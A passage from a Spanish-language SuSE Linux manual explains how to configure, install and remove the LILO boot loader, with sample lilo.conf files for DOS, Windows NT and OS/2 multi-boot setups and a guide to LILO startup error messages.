/boot/chain.b. A veces se quiere arrancar un sistema operativo (p. ej. DOS), que debe ser iniciado desde el primer disco duro pero con LILO desde otro disco duro. Las opciones adicionales map-drive= y to= permiten ''intercambiar'' los dos discos con su número de dispositivo de BIOS. Ejemplo: fichero 4.4.2. El cargador (ingl. loader) os2_d.b sirve para cargar OS/2 desde el segundo disco10 . Lo nuevo desde la versión 20 de LILO: También para el loader de OS/2 se debe indicar explícitamente el ''cambio'' de los dos primeros discos (como lo indica el ejemplo en el fichero 4.4.2). ________________________________________________________________________________________________________* *________|||| | # Booting DOS from the second hard drive * * | | # DOS bootable partition config begins * * | | * * | | other = /dev/hdb1 * * | | label = DOS * * | | loader = /boot/chain.b * * | | * * | | map-drive = 0x80 # first hd: BIOS number 0x80 * * | | to = 0x81 # second hd: BIOS number 0x81 * * | | * * | | map-drive = 0x81 * * | | to = 0x80 * * | | * * | | table = /dev/hdb * * | | # DOS bootable partition config ends * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.4.2: Extracto de /etc/lilo.conf para arancar DOS del 2o disco ~ table= debe indicar el dispositivo fuente para la tabla de partición, que se debe cargar al pseudo-MBR (generalmente /dev/hda o /dev/ sda). ~ label= El nombre a libre elección para este sistema. Se recomienda definirlo, ya que el mero nombre de dispositivo de la partición no brinda mucha información. 4.4.2 Otras opciones de configuración (Selección) En el apartado anterior solamente se comentaron las opciones mínimas y más significativas de /etc/lilo.conf. Aquí se comentan otras opciones útiles. Aquellas que se indican explícitamente como opciones del tipo imagen pertenecen al apartado de un determinado sistema operativo. Las otras pertenecen_a_la_parte_global_de_parámetros_de_/etc/lilo.conf. 10 Los cargadores any_b.b (Arrancar desde B:) y any_d.b (Arrancar desde el segundo disco) son obsoletos desde la versión 20 de LILO . 128 _______________________________________________________________________4.4.__LILO__à_la_carte:_La_configuración____________* *_______________________ o backup= Indica el nombre de fichero que LILO usa para guardar un respaldo del sector de arranque sobre el cual se instalará. El valor por defecto es /boot/boot.xxxx, donde xxxx representa el número interno de dispositivo de la partición sobre la que se va a instalar11 . Recomendamos usar un nombre que hable más por sí mismo, como arriba en el ejemplo (con nombre de dispositivo y fecha). Haciendo esto se prescinde de la característica de desinstalación automática de LILO , pero según nuestra opinión, es algo que resulta mejor haciéndolo a mano y con mucho cuidado (ver en la página 132Desinstalar LILO section.4.5). _______________________________________________________________________________________________________________________ |||||||| ¡Si ya existe el fichero de respaldo, LILO no generará ninguno nuevo! Se || | |||||||| || | |||||||| ha de tener en cuenta entonces de usar siempre un nombre de fichero nuevo || | ||||||||_______________________________________________________________________________________________________________||_ o compact Instalando LILO en disquete se recomienda activar esta opción. LILO trata de leer durante el arranque varios sectores simultáneamente y según la computadora usada puede arrancar más rápidamente. Lamentable- mente no funciona en todas. o disk= bios= cylinders= heads= sectors= Aquí es posible indicar directamente a LILO cuál número de dispositivo de BIOS y cuál geometría debe usar para acceder directamente a los sectores de un determinado disco. ¡Se necesita hacer esto pocas veces! Aplicación más importante: Mezcla de discos IDE-SCSI: Si se tiene una BIOS que permite el orden de arranque SCSI antes de IDE y se quiere usar esta opción, es necesario informar a LILO especialmente sobre el cambio de orden de los discos desde el punto de vista de la BIOS. Esto se efectúa con un apunte extra en la parte global de lilo.conf como p. ej. en el fichero 4.4.3 para el caso de un sistema con un disco IDE y uno SCSI. _______________________________________________________________________________________________________________________|| |||||||| # Enable LILO to correctly access /dev/sda and /dev/hda | |||||||| # at boot time if their boot order is interchanged in | |||||||| | |||||||| # the BIOS: | |||||||| disk = /dev/sda # The SCSI disk is regarded as... | |||||||| | |||||||| bios = 0x80 # ...first BIOS disk; | |||||||| disk = /dev/hda # the IDE disk is regarded as... | |||||||| bios = 0x81 # ...second BIOS disk. | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.4.3: Extracto de lilo.conf : Orden de arranque: SCSI ante IDE o linear 11 ____________________________________________________ Esto se encuentra detallado en las fuentes del kernel en /usr/src/linux/init/main.c, función parse_root_dev(). * * 129 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ Indicando esta opción, LILO anota durante la instalación todas las refer- encias en los sectores como direcciones lógicas y no físicas, así que éstas se hacen independientes de la geometría del disco. Esta opción está pre- vista, ya que en el momento de arranque, la BIOS reconoce en el caso de algunas tarjetas controladoras, una geometría diferente a la del sistema Linux. ¡Se necesita hacer esto pocas veces! La opción linear no evita el problema del límite de 1024 cilindros, que se establece por la geometría de la BIOS para el disco duro que arranca el sistema. o message= Indica el nombre de un fichero de texto, que LILO muestra en el primer momento en pantalla. No debe tener más de 24 líneas (para que no se mueva hacia arriba) y puede p. ej. explicar la elección de arranque con LILO que vendrá poco después. Un mensaje de saludo semejante ya se conoce del disquete de arranque de SuSE que se encuentra en el paquete; se recomienda. ________________________________________________________________________________________________________* *________|| | El fichero message pertenece a la maquinaria de arranque de LILO . * * |||| | ¡Cualquier cambio en él requiere una nueva instalación de LILO (aparta- * * ||| | * * ||| | do 4.5 en la página siguiente)! * * ||| |_______________________________________________________________________________________________________* *________|||_ o password= Esta opción puede encontrarse al comienzo, en la sección de los parámet- ros o bien en la sección de sistema. Lo que hace es asegurar el acceso a los servicios de LILO o al inicio del correspondiente sistema operativo. Si se pone en serio una contraseña se debería borrar ésta inmediatamente después del primer uso del fichero lilo.conf, ya que trabajando como root no es problema definir una nueva contraseña en cualquier momen- to. ~Además, se recomienda usar la opción restricted , De lo contrario sería posible iniciar directamente un Shell con un parámetro; ver la página del manual de lilo.conf (man lilo.conf )! o read-only Con esta opción, LILO indica al kernel montar la partición raíz en modo de solo-lectura, tal como es usual al inicio de sistemas Linux. Dejando esta opción, el kernel usa la configuración predeterminada 12 . o delay= Cuando por defecto no aparece ningún prompt, el usuario puede_hacerlo___ ______ aparecer en el momento del inicio de LILO pulsando | ___________S|hift, *|______C|trl, |_____|Alt. La opción delay indica el intervalo de tiempo en el que LILO espera que se pulse la tecla antes de cargar automáticamente el primer sistema de su lista de sistemas operativos. El valor predeterminado es 0 , o sea, ningún tiempo de espera. Evidentemete la opción delay es innecesaria cuando ya se está forzando un prompt usando la directriz prompt en el fichero lilo.conf. 1_____________________________________________2 La configuración se ve con el comando rdev -R . Los kernel de instalación y cada kernel compilado nuevamente ya están en modo read-only por lo cual casi no se necesita esta opción. (¡Pruébelo!) 130 ___________________________________________________________________4.5.__Instalación_y_desinstalación_de_LILO_______________* *______________________ o vga= Seleccione el modo VGA para el inicio. Valores válidos para son: normal (para 80x25), ext (para 80x50) o ask (preguntar en el inicio). o append="" Opción ''image'' para el kernel de Linux. Permite pasar parámetros del kernel como por ejemplo cuando se indican componentes de hardware, tal como se puede hacer en el prompt de LILO . El kernel recibe primero la línea append y después los parámetros introducidos en el prompt. Por lo cual en caso de duda, los parámetros del prompt se superponen. Ejemplo: append="mcd=0x300,10" 4.5 Instalación y desinstalación de LILO Instalando Linux desde cero, YaST guía al usuario de manera interactiva por los pasos necesarios. Normalmente no se necesitan retoques a mano instalando LILO . No obstante, aquí suponemos la integración de LILO en un sistema ya instalado y usando algunas opciones especiales. _______________________________________________________________________________________________________________________|| |||||||| La instalación de un gestor de arranque es una intervención profunda y por ||| | |||||||| tanto conlleva algo de riesgo. En todo caso, ¡antes de la instalación de || | |||||||| || | |||||||| LILO , es mejor asegurarse de que se puede arrancar Linux con disquetes || | |||||||| y a lo mejor también los demás sistemas operativos! Sobre todo se tiene || | |||||||| || | |||||||| que poder usar fdisk . || | ||||||||_______________________________________________________________________________________________________________||_ Instalación después del cambio de configuración Si se ha cambiado alguno de los componentes de LILO (ver en la pági- na 123¿Qué partes conforman LILO ?Hfootnote.16) o si se ha modificado su configuración en /etc/lilo.conf, hace falta instalar LILO de nuevo. Esto se lleva a cabo con la llamada al instalador map (ingl. map-installer): tierra: # /sbin/lilo Primero LILO genera un respaldo del sector de arranque destino, graba allí su ''primera fase'' y genera después un nuevo fichero map (ver en la pági- na 123¿Qué partes conforman LILO ?Hfootnote.16). LILO confirma en pan- talla los sistemas instalados, lo que resulta para el ejemplo de arriba en el salida en pantalla 4.5.1: _______________________________________________________________________________________________________________________ |||||||| Added Linux* | |||||||| Added Linux.old | |||||||| | ||||||||_Added__DOS____________________________________________________________________________________________________ | Mensaje en pantalla 4.5.1: Indicaciones llamando a LILO Una vez terminada la instalación, se puede arrancar la computadora de nuevo: tierra: # shutdown -r now Después del test de sistema de la BIOS, LILO muestra el prompt que_permite_ pasar parámetros al kernel y elegir la imagen de arranque. Con |____Ta|bse pueden ver los nombres de las configuraciones instaladas. * * 131 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ Instalación después de la recompilación del kernel Para integrar un kernel nuevo, aparte de la reinstalación de LILO a mano, existe otra posibilidad más cómoda: La organización de los comandos para configurar y generar un kernel se en- cuentran en el fichero /usr/src/linux/Makefile que debe definir el path de la instalación como INSTALL_PATH=/boot (ver el apartado 13.5 en la página 353Compilación del kernelsection.13.5) . Este Makefile contiene un target denominado bzlilo que efectúa automáticamente algunas ac- ciones después de la compilación del kernel: Renombra el kernel actual de /boot/vmlinuz (antes /vmlinuz) a /boot/vmlinuz.old, escribe el ker- nel nuevo a /boot/vmlinuz y finalmente reinstala LILO . Todo esto se eje- cuta con la sencilla orden: tierra:/usr/src/linux # make bzlilo Esto evidentemente sólo tiene sentido si /etc/lilo.conf ha sido prepara- do con anterioridad a la reinstalación y el kernel antiguo realmente se en- cuentra en /boot/vmlinuz. Por seguridad, también se debería apuntar en- tre las imágenes para arrancar, la del antiguo kernel, por ejemplo, así co- mo está hecho en el fichero 4.4.1 en la página 126El contenido del fichero lilo.conf subsection.4.4.1. Así es posible elegir en el prompt de arranque de LILO el kernel nuevo y también el antiguo probado (nombre en el ejemplo Linux.old ). De este modo se genera un nivel adicional de seguridad, útil si el sistema no quiere arrancar con el nuevo kernel. El tema de la generación de un nuevo kernel se discute en capítulo 13 en la página 349El kernelchapter.13 en adelante. Desinstalar LILO ________________________________________________________________________________________________________* *________|| | La desinstalación de un gestor de arranque es una intervención profunda y * * |||| | * * ||| | por tanto conlleva algo de riesgo. ¡Es importante en todo caso, asegurarse * * ||| | antes de la desinstalación de LILO de que se pueda arrancar Linux con * * ||| | * * ||| | disquetes y a lo mejor también los demás sistemas operativos! Si no, se * * ||| | puede entrar en la desagradable situación de perder el acceso a los sistemas * * ||| | * * ||| | operativos en el disco duro. * * ||| |_______________________________________________________________________________________________________* *________|||_ A lo mejor un buen día hace falta desinstalar LILO :-( Para desinstalarlo se copia el contenido original del sector de arranque al mismo sobreescribien- do así a LILO . Bajo Linux esto no representa ningún problema, si existe un respaldo válido (ver apartado 4.4.2 en la página 128Otras opciones de config- uración (Selección)subsection.4.4.2 Option backup ). 132 _______________________________________________________________4.6.__Generar_disquete_de_arranque_de_Linux_________________* *_______________________ _______________________________________________________________________________________________________________________||| |||||||| El respaldo de un sector de arranque deja de ser válido cuando la partición ||| | ||||||||| correspondiente ha recibido un nuevo sistema de ficheros (en el mundo || || |||||||| DOS: cuando ha sido formateado). La tabla de partición en un respaldo ||| | |||||||| || | |||||||| de MBR pierde completamente su validez cuando el disco ha sido repar- || | |||||||| ticionado. Un respaldo de este estilo es una ''bomba'' que puede estallar || | |||||||| || | |||||||| en cualquier momento, por eso lo mejor es borrar respaldos caducados in- || | |||||||| mediatamente. ¡Usar un respaldo viejo es una manera bastante segura de || | |||||||| || | |||||||| perder montones de datos! || | ||||||||_______________________________________________________________________________________________________________||_ Lo más fácil es la recuperación de un MBR de DOS, Windows o OS/2. Se efectúa con el siguiente comando de MS-DOS (disponible a partir de la versión DOS 5.0 en adelante): C:\> fdisk /mbr o con el comando de OS/2: C:\> fdisk /newmbr Estos comandos solamente escriben los primeros 446 Bytes al MBR (el códi- go de arranque) y dejan la tabla de partición sin tocar13 . No olvide activar con fdisk la partición de arranque, ya que las rutinas del MBR de DOS, Windows y OS/2 lo necesitan. Antes de continuar conviene hacer otro respaldo reciente del sector de LILO en cuestión; mejor un respaldo de más que uno de menos. Después se com- prueba ~ como mínimo dos veces ;-) ~ si el respaldo antiguo es correcto y si su tamaño es de exactamente 512 bytes. Finalmente se devuelve la informa- ción del respaldo a su ubicación original usando las siguientes instrucciones, sin confundirse entre if= y of= o Si LILO está en la partición yyyy (p. ej. hda1, hda2,. . . ): tierra: # dd if=/dev/yyyy of=fichero-nuevo bs=512 count=1 tierra: # dd if=fichero-respaldo of=/dev/yyyy o Si LILO está en el MBR del disco zzz (p. ej. hda, sda): tierra: # dd if=/dev/zzz of=fichero-nuevo bs=512 count=1 tierra: # dd if=fichero-respaldo of=/dev/zzz bs=446 count=1 El último comando ''tiene la precaución'' de no modificar la tabla de parti- ciones. Recuerde activar con fdisk la partición que debe formar ahora la de arranque. A propósito: ¿Se ha percatado de lo rápido que se hace un respaldo del sector de arranque? Por eso recomendamos hacerlo a menudo. 4.6 Generar disquete de arranque de Linux Un disquete de arranque de Linux contiene ~ en resumen ~ uno o varios kernel que pueden ser gestionados por LILO . Sirve para arrancar SuSE Linux en el disco cuando ya no se puede arrancar de manera directa desde el disco, lo 13 ____________________________________________________ Salvo que el MBR (ver en la página 119Master Boot Recordsection.4.1) se encuentre como no válido por una ''cifra mágica'' falsa; en este caso se borra la tabla! * * 133 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ cual puede ser provocado por un gestor de arranque mal configurado, por un MBR borrado o por fallos en la instalación de LILO . Este tipo de disquete solamente carga el kernel, todo lo demás (init , scripts de arranque, programas importantes de sistema) se espera que lo proporcione el sistema instalado. La interconexión entre el kernel del disquete y el sistema en el disco duro, se efectúa indicando al kernel correspondiente la partición root del disco como dispositivo root (ingl. root device). No se debe confundir esto con los disquetes de arranque SuSE para la in- stalación y emergencias, cuyos ficheros de imagen (ingl. image files) se en- cuentran en el directorio /disks del primer CD, listos para ser copiados en disquetes (apartado 16.5 en la página 425El sistema de rescate de SuSE section.16.5). Disquete de arranque sin LILO Si se encuentra en la buena posición de no necesitar pasar ningún parámetro al kernel cuando el sistema arranca 14 , lo más rápido para generar un disquete de arranque es copiar el kernel actual sobre un disquete vacío sin errores y ajustar correctamente el dispositivo root, si no está hecho ya. Se usa los siguientes comandos: tierra: # /sbin/badblocks -v /dev/fd0 1440 tierra: # dd if=Su_Kernel of=/dev/fd0 bs=18k tierra: # rdev /dev/fd0 Su_Partición_Root tierra: # rdev -R /dev/fd0 1 El primer comando comprueba si hay bloques dañados (1 bloque = 1 k). El último comando se preocupa de que el kernel monte la partición root al principio a modo de solo-lectura, tal como debe ser siempre (los scripts de arranque de sistema confían en esto). Disquete de arranque con LILO Un disquete de arranque confortable, con mensaje de saludo, elección del kernel, opción de parámetros y con las demás prestaciones de LILO , se gen- era copiando toda la maquinaria de arranque de LILO al disquete (ver en la página 123¿Qué partes conforman LILO ?Hfootnote.16). Para ello el disquete necesita un sistema de ficheros, que para este caso, el mejor es minix . Para crear el disquete manualmente, se hace lo siguiente: o Generar un sistema de ficheros minix en un disquete vacío con compro- bación y en caso de éxito montarlo p. ej. bajo /mnt: tierra: # /sbin/mkfs.minix -c /dev/fd0 1440 tierra: # /bin/mount /dev/fd0 /mnt o Copiar los ficheros del kernel y el fichero /boot/boot.b de LILO a /mnt (o sea en el disquete). o Opcional: Generar un fichero /mnt/message para un mensaje de saludo. o Generar en /mnt un fichero lilo.conf propio como figura en el fichero 4.6.1 en la página siguiente. Se debe apuntar la partición raíz ______real_(cambiar_Su_Dispositivo_Raíz):____ 14 Este es el caso normal, cuando el soporte de la controladora de disco forma parte del kernel (''kernel monolítico''). 134 _______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________* *______________________ |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| # LILO fichero de configuración disquete de arranque | |||||||||# Start LILO global Section || |||||||| boot=/dev/fd0 # Destino de instalación: | |||||||| install=/mnt/boot.b # Disquetera. LILO y el | |||||||| map=/mnt/map # fichero-Map al disquete! | |||||||| | |||||||| message=/mnt/message # opcional | |||||||| prompt | |||||||| | |||||||| timeout=100 # Espera en el prompt: 10 s | |||||||| vga = normal # | |||||||| | |||||||| # End LILO global section | |||||||| # | |||||||| # Linux bootable partition config begins | |||||||| | |||||||| image = /mnt/vmlinuz # default | |||||||| root = /dev/Su_Dispositivo_Raíz # aquí partición raíz! | |||||||| | |||||||| label = linux | |||||||| # Linux bootable partition config ends | |||||||| | |||||||| # | |||||||| # Aquí apartados de sistema para kernels adicionales: | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.6.1: lilo.conf para disquete de arranque o Usando un disco de memoria initrd, indique también éste en lilo. conf; ver la información en el apartado 16.2.3 en la página 413Bootloadersubsection.16.2.3. o Instalar LILO mediante el lilo.conf descrito: tierra: # /sbin/lilo -C /mnt/lilo.conf o ¡Desmontar el disquete y listo! tierra: # /bin/umount /mnt o No olvide comprobar si el disquete realmente funciona :-) 4.7 Ejemplos de Configuraciones Si el nuevo Linux es el único sistema operativo en la computadora, no hace falta hacer nada más, ya que YaST ha hecho todo lo necesario durante la instalación. Más adelante se muestran un par de ejemplos para computadoras con var- ios sistemas operativos que encuentran su complemento en las configura- ciones localizadas en /usr/doc/howto/en/mini/Linux+*.gz, hechas por algunos amigos de Linux, que documentan las configuraciones de sus propias computadoras con varios sistemas operativos. 4.7.1 DOS/Windows 95/98 y Linux Requisito: DOS/Windows 95/98 y Linux deben tener cada uno una parti- ción primaria por debajo del límite de los 1024 cilindros (ver en la pági- na 123¿Dónde se puede instalar LILO ?Hfootnote.17); la partición de ar- ranque de Linux (/boot ) también puede ser del tipo lógico, pero siempre debe estar completamente por debajo del límite de 1024 cilindros. Una configuración adecuada para este caso ya fue mencionada en el fichero 4.4.1 en la página 126El contenido del fichero lilo.conf subsection.4.4.1. * * 135 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ Solamente se adaptan los parámetros de las líneas root ,image y other , y el párrafo sobre Linux.old se deja si no hay un segundo kernel (antiguo). LILO se instala en el MBR. Conviene guardar /etc/lilo.conf y un disquete de arranque en un lugar seguro, ya que es justamente Windows 95/98 el que tiene una cierta tendencia a eliminar los MBR ''ajenos''. Si sucede esto y se puede arrancar Linux después con un disquete de arranque, el problema se resuelve con el sencillo comando tierra: # /sbin/lilo 4.7.2 Windows NT y Linux en un disco duro 1. Posibilidad: Uso del Gestor de arranque de NT. Este es capaz de iniciar sectores de arranque y sus imágenes. Con los siguientes pasos la coexis- tencia de Linux y Windows NT se hace posible: o Instalación de Windows NT. o Preparar un medio (partición de disco o disquete sin errores) sobre el cual Linux pueda escribir y NT pueda leer, p. ej. FAT. o Instalar Linux ''como es habitual'' (aquí suponemos /dev/sda3 como partición raíz de Linux) y después montar el medio con FAT (p. ej. en /dosa); respecto al proceso de montar unidades ver el aparta- do 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2 .Cuidado: ¡No usar las opciones de mount conv=auto o conv=text ! o Instalar LILO en la partición raíz (o sea /dev/sda3) no en el MBR (/dev/sda)! Se sigue teniendo la posibilidad de configurar LILO de modo que se pueda seleccionar entre varias imágenes de kernel. Como ejemplo para lilo.conf, consultar el fichero 4.7.1. ________________________________________________________________________________________________________* *________|||| | # LILO fichero de configuración: Arrancar desde * * | | # partición raíz /dev/sda3 * * | | # Start LILO global Section * * | | * * | | boot=/dev/sda3 # destino de instalación * * | | backup=/boot/boot.sda3.980428 # respaldo sector arranque * * | | * * | | prompt * * | | timeout=100 # Espera al prompt: 10 s * * | | vga = normal # force sane state * * | | * * | | # End LILO global section * * | | # Linux bootable partition config begins * * | | * * | | image = /boot/vmlinuz # default image to boot * * | | root = /dev/sda3 # aquí la partición raíz! * * | | * * | | label = Linux * * | | # Linux bootable partition config ends * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.7.1: lilo.conf para arrancar una partición raíz o Copiar el sector de arranque de LILO a un fichero en el medio FAT, p. ej. tierra: # dd if=/dev/sda3 of=/dosa/bootsek.lin bs=512 count=1 136 _______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________* *______________________ ¡Evidentemente hay que repetir este paso y también el siguiente de- spués de cada actualización del kernel! o Arrancar NT. Copiar bootsek.lin desde el medio FAT al directorio raíz de la unidad de sistema de NT, si no se encuentra ya en éste. o Añadir en el fichero boot.ini (definición de atributos) al final la línea: c:\bootsek.lin="Linux" o Si todo va bien, debe existir una nueva opción en el gestor de arranque de NT cuando se arranque la computadora la próxima vez. 2. Posibilidad, (desafortunadamente no funciona siempre): Instalar LILO en el MBR y hacer como si fuera DOS (ver el ejemplo anterior); pero cuidado, se trata de algo que aparentemente ha dejado de funcionar con versiones más recientes de NT. Parece que solo quiere arrancar cuando encuentra unas secuencias especiales (y no documentadas) en el MBR, de las que LILO no sabe nada :-( _______________________________________________________________________________________________________________________|| |||||||| ¡Windows NT (3.5* y 4.0) no reconoce los tipos de partición 82 y 83 que ||| | |||||||| || | |||||||| usa Linux! Se debe vigilar que ningún programa de NT ''repare'' la tabla || | |||||||| de partición en este sentido: se pueden perder datos! Lo mejor es mantener || | |||||||| || | |||||||| siempre un par de respaldos de seguridad válidos del MBR de LILO . || | ||||||||_______________________________________________________________________________________________________________||_ 4.7.3 OS/2 y Linux 1. Posibilidad: Se usa el gestor de arranque de OS/2. Este es capaz de arrancar cualquier partición primaria o lógica dentro del límite de los 1024 cilindros. La responsabilidad de hacerlo realmente arrancable está en manos del usuario. Se configura el gestor de arranque (ingl. bootmanager) con el fdisk de OS/2. Preparación de Linux: Configurar el arranque a una partición primaria de Linux (normalmente la partición raíz) con LILO . La configuración útil para esto es otra vez lilo.conf como en el fichero 4.7.1 en la página anterior. Pero antes hay que considerar algo más. . . : Preparación de OS/2: OS/2 no se queda con la manera convencional de anotar información sobre las particiones (en los MBR de los discos duros y en los sectores de partición) sino que usa el espacio libre en estos sectores para guardar información adicional. Si ésta es inconsistente, el fdisk de OS/2 ve la tabla de particiones como dañada y no presta los servicios del gestor de arranque. Los programas fdisk de otros sistemas operativos no suelen guardar información adicional, así que la aparición de conflictos adicionales está programada. Por eso antes de instalar Linux se carga OS/2 (el sistema base de insta- lación es suficiente) y se generan las particiones Linux, como mínimo las lógicas, con el fdisk de OS/2. Esto crea en principio particiones adi- cionales de tipo OS/2 que pueden resultar bastante molestas. Solución: Cargar inmediatamente después el sistema de instalación de Linux (o también el sistema de rescate) desde el CD SuSE Linux y cam- biar con el fdisk de Linux el tipo de partición a 83 (Linux native). Así OS/2 pasará a ignorar correctamente estas particiones. * * 137 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ 2. Posibilidad: Se usa LILO como gestor de arranque principal en una partición primaria del primer disco duro15 . Se trata de un caso especial del ejemplo siguiente en el cual aparece también DOS. 4.7.4 DOS, OS/2 y Linux 1. Posibilidad: Si ya está usando el OS/2 Bootmanager (gestor de arranque OS/2) para DOS y OS/2 y lo quiere seguir usando, basta con incorporar Linux en el menú de arranque tal como se ha explicado en el ejemplo anterior. 2. Posibilidad: Se usa LILO como gestor de arranque principal en una partición primaria del primer disco duro. El siguiente ejemplo para lilo.conf (fichero 4.7.2 en la página sigu- iente) es más complicado y supone que las particiones de arranque de DOS (primaria) y de Linux (primaria) se encuentran en el primer disco y la de OS/2 (lógica) en el segundo ~ todas dentro de los primeros 1024 cilindros. OS/2 se encuentra en el segundo disco por lo que se usa el loader especial /boot/os2_d.b en lugar de /boot/chain.b. No importa si el código del MBR es de MS-DOS o de OS/2. En la tabla de particiones hay que activar con el programa fdisk la partición de LILO /dev/sda4. 4.8 Problemas con LILO Algunas reglas Para comenzar, algunas reglas con las que se evitan desde un principio muchos problemas con LILO (tomadas del libro para usuarios de LILO [Alm96 ]): o ¡Que no cunda el pánico! Antes de intentar arreglar el fallo se debe tratar de definirlo bien, encontrar su causa y después comprobar la diagnosis. o Mantener siempre al alcance un disquete de arranque actual y comproba- do. Desde la versión 5.0, SuSE Linux contiene en el disquete de arranque y en el CD de instalación un sistema Linux autónomo (sistema de rescate, apartado 16.5 en la página 425El sistema de rescate de SuSE section.16.5), con el cual se puede acceder a todas las particiones de Linux. También hay allí bastantes herramientas para resolver problemas de pérdida de acceso a los discos o Consultar la documentación, especialmente cuando la computadora hace algo que aparentemente no debería hacer. o Antes de cualquier llamada al instalador map (/sbin/lilo), comprobar cuidadosamente el fichero de configuración /etc/lilo.conf. o Ejecutar /sbin/lilo cada vez que se cambie algún componente de la maquinaria de arranque de LILO o cuando se haya modificado el fichero ______de_configuración_de_LILO_/etc/lilo.conf._ 15 Peor sería usar el MBR, porque en cada cambio de partición con un fdisk ajeno éste graba el MBR de nuevo y así podría borrar LILO . 138 ___________________________________________________________________________________________4.8.__Problemas_con_LILO_________* *______________________|||| |||||||| | _______________________________________________________________________________________________________________________|| |||||||| # LILO fichero de configuración | |||||||| | |||||||| # Start LILO global Section | |||||||| boot = /dev/sda4 # LILO en partición raíz de Linux | |||||||| backup = /boot/boot.sda4.970428 | |||||||| | |||||||| message = /boot/message # Mensaje de saludo | |||||||| prompt | |||||||| | |||||||| delay = 100 | |||||||| vga = normal | |||||||| | |||||||| # | |||||||| # Linux bootable partition config begins | |||||||| | |||||||| image = /boot/vmlinuz | |||||||| label = linux | |||||||| | |||||||| root = /dev/sda4 | |||||||| # Linux bootable partition config ends | |||||||| # | |||||||| | |||||||| # OS/2 bootable partition config begins | |||||||| other = /dev/sdb5 | |||||||| | |||||||| table = /dev/sdb | |||||||| label = os2 | |||||||| | |||||||| loader = /boot/os2_d.b | |||||||| # New for LILO v20 and newer: interchange disk drives: | |||||||| | |||||||| map-drive = 0x80 # first hd: BIOS number 0x80 | |||||||| to = 0x81 # second hd: BIOS number 0x81 | |||||||| | |||||||| map-drive = 0x81 | |||||||| to = 0x80 | |||||||| # OS/2 bootable partition config ends | |||||||| | |||||||| # | |||||||| # DOS bootable partition config begins | |||||||| | |||||||| other = /dev/sda1 | |||||||| table = /dev/sda | |||||||| | |||||||| label = dos | |||||||| # DOS bootable partition config ends | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.7.2: LILO con DOS, OS/2 y Linux en dos discos duros o Hace falta un cuidado especial teniendo varios discos o uno grande: con- sidere el límite de 1024 cilindros! o Hacer pruebas con y sin la opción linear (generalmente va mejor "sin"). 4.8.1 Diagnóstico de errores: Mensajes de inicio de LILO Lo que aquí se refleja es básicamente la traducción de un apartado de [Alm96 ], la descripción de LILO escrita por Werner Almesberger. Cuando LILO se carga, muestra en pantalla la palabra `LILO'. La aparición de cada letra indica la terminación de una determinada fase, por lo tanto, las letras que ya han salido en pantalla indican en qué momento apareció el problema. (nada) No se cargó ninguna parte de LILO . Puede que LILO no esté instal- ado o no se haya iniciado la partición con el sector de arranque de LILO . * * 139 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ `L' error : : : Se cargó e inició la ''primera fase'' pero no fue capaz de cargar la segunda (/boot/boot.b). Esto generalmente indica un error físico del medio de arranque (p. ej. disquete) o una geometría de disco errónea. `LI' Se cargó la segunda fase de LILO pero no pudo ser arrancada. Esto ocurre por una geometría falsa de disco o por haber movido /boot/boot.b sin reinstalación de LILO . `LIL' Arrancó la segunda fase de LILO , pero ésta no pudo cargar los datos necesarios (punteros, etc.) del fichero map. Se trata de un error provocado típicamente por un fallo físico del medio de arranque. `LIL?' La segunda fase de LILO se cargó en un área de memoria falsa. Esto lo provoca generalmente un pequeño fallo de la geometría del disco o por haber movido /boot/boot.b sin reinstalación de LILO . `LIL-' Los valores en el fichero map no son válidos. El error es general- mente provocado por un fallo en la geometría del disco o por haber movi- do /boot/boot.b sin reinstalación de LILO . `LILO' Todas las partes de LILO fueron cargadas con éxito. El motivo más frecuente de los fallos de geometría no son defectos físicos o tablas de partición no válidas, sino fallos durante la instalación de LILO : o Negligencia respecto al límite de 1024 cilindros (ver próximo párrafo); o Intento fallido de arrancar con LILO desde una partición lógica. 4.8.2 El límite de 1024 cilindros Como ya se ha mencionado varias veces (p. ej. en la página 123¿Dónde se puede instalar LILO ?Hfootnote.17), toda la maquinaria de arranque de LILO , o sea todos los datos que LILO necesita para arrancar, deben ser acce- sibles usando solo las rutinas de la BIOS. Las zonas de disco aptas para ello ya fueron mencionadas y se denominarán de aquí en adelante zona permitida. ¿Cuáles son entonces las posibilidades que quedan con esta restricción? En realidad quedan muchas, ya que se trata solo de la maquinaria de arranque que cae bajo esta restricción y no hay ninguna obligación de ponerla en la partición raíz. Incluso existe la posibilidad (que conlleva un cierto peligro) de albergar todos los ficheros del manejo de arranque en particiones de otros sistemas operativos cuando solo Linux tiene acceso de lectura y escritura sobre ellos. ________________________________________________________________________________________________________* *________|| | ¡Lo que no se puede hacer es instalar el sector de arranque de LILO sobre * * |||| | una partición ajena, porque con esto generalmente se rompe el sistema de * * ||| | * * ||| | fichero del otro sistema operativo! * * ||| |_______________________________________________________________________________________________________* *________|||_ o En todo caso la solución más limpia es la de generar una partición pri- maria de Linux completamente dentro de la zona permitida e instalar allí todos los ficheros de LILO (incluido el sector de arranque). Hasta ahora esta partición ha sido generalmente la partición raíz de Linux. Desde la versión 6.0 de SuSE Linux, YaST genera una partición (/boot) aparte, que a penas tiene suficiente tamaño para albergar los siguientes ficheros: 140 ___________________________________________________________________________________________4.8.__Problemas_con_LILO_________* *______________________ ~ boot.b, map, message, ~ los kernel de Linux, que LILO debe arrancar. Esto significa que unos pocos megabytes son suficientes. Para todo el resto del sistema ya no hay ninguna restricción respecto a su ubicación en el (los) disco(s). Una vez que el kernel esté en marcha tiene acceso ilimitado a todos los discos en el sistema. ¿Pero qué hacer cuando ya no hay espacio para una partición así? Si no se quiere reparticionar el disco, ni se quiere pasar a SCSI y tampoco a una BIOS 